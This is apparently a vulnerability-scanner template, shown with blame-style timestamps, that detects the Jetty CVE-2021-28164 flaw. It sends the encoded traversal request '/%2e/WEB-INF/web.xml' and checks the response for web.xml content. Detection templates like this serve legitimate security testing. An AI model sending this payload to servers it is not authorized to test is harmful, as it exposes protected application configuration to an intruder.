2021-06-09 09:07:40 +00:00
id : CVE-2021-28164
2021-06-09 06:07:03 +00:00
info :
2021-06-24 18:24:29 +00:00
name : Jetty Authorization Before Parsing and Canonicalization
2021-06-09 06:07:03 +00:00
author : noamrathaus
2021-06-24 18:35:59 +00:00
severity : medium
2021-06-09 06:07:03 +00:00
description : |
2021-06-24 18:26:33 +00:00
The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.
2021-08-18 11:37:49 +00:00
reference :
2021-06-09 09:08:12 +00:00
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
2021-06-24 18:24:29 +00:00
- https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
2021-06-09 09:07:40 +00:00
tags : cve,cve2021,jetty
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.30
cve-id : CVE-2021-28164
cwe-id : CWE-200
2021-06-09 06:07:03 +00:00
requests :
- method : GET
path :
2021-06-24 18:24:29 +00:00
- "{{BaseURL}}/%2e/WEB-INF/web.xml"
2021-06-09 06:07:03 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-06-24 18:24:29 +00:00
2021-06-09 06:07:03 +00:00
- type : word
words :
2021-07-22 09:53:19 +00:00
- "</web-app>"
2021-06-24 18:35:59 +00:00
- "java.sun.com"
2021-06-09 06:07:03 +00:00
part : body
2021-06-24 18:35:59 +00:00
condition : and
2021-06-09 09:07:40 +00:00
2021-06-09 06:07:03 +00:00
- type : word
part : header
words :
2021-06-09 09:07:40 +00:00
- "application/xml"